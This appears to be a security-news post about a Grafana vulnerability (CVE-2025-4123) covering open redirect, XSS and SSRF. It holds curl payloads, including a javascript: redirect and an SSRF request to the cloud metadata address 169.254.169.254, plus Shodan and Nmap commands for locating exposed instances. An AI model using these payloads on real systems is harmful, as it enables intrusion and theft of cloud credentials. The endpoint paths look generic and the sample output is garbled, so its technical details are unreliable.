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A high-severity vulnerability (CVE-2025-4123) has been discovered in Grafana, enabling open redirect, XSS, and SSRF via client-side path traversal. Attackers can exploit this to target internal services, deliver malicious JavaScript, and potentially compromise internal data or user accounts.
🔍 Nuclei Template: https://lnkd.in/gwWMqPUr
You Should Know:
1. Vulnerability Details
- CVE ID: CVE-2025-4123
- Affected Software: Grafana (versions before patch)
- Risk: High (CVSS 8.5)
- Attack Vectors:
- Open Redirect: Manipulates URLs to redirect victims to malicious sites.
- XSS (Cross-Site Scripting): Injects malicious scripts into trusted web pages.
- SSRF (Server-Side Request Forgery): Forces the server to make unauthorized internal requests.
2. Detection & Exploitation
Using Nuclei for Detection
nuclei -t CVE-2025-4123.yaml -u https://target-grafana-instance.com
Manual Verification (CURL)
curl -v "https://target-grafana-instance.com/api/path?redirect=javascript:alert(1)"
Exploiting SSRF (Example)
curl -v "https://target-grafana-instance.com/api/internal?url=http://169.254.169.254/latest/meta-data"
3. Mitigation Steps
- Patch Immediately: Upgrade Grafana to the latest version.
- WAF Rules: Block malicious path traversal patterns.
- Input Sanitization: Validate and sanitize all user-supplied URLs.
4. Additional Security Checks
Check for Exposed Grafana Instances (Shodan)
shodan search http.title:"Grafana"
Nmap Scan for Grafana Services
nmap -p 3000 --script grafana-detect <target-IP-range>
What Undercode Say:
This CVE highlights the risks of improper input validation in widely used dashboards like Grafana. Security teams should:
– Monitor for unusual internal requests.
– Restrict outbound traffic from Grafana instances.
– Audit all redirects and URL handling mechanisms.
Expected Output:
[] [CVE-2025-4123] [bash] [bash] https://target-grafana-instance.com/api/path?redirect=malicious.site
Prediction:
As Grafana is widely adopted in cloud environments, expect increased scanning for this vulnerability in the wild. Automated botnets may soon incorporate this exploit for cloud metadata theft.
Relevant URLs:
References:
Reported By: Ehsandeepsingh Grafana – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
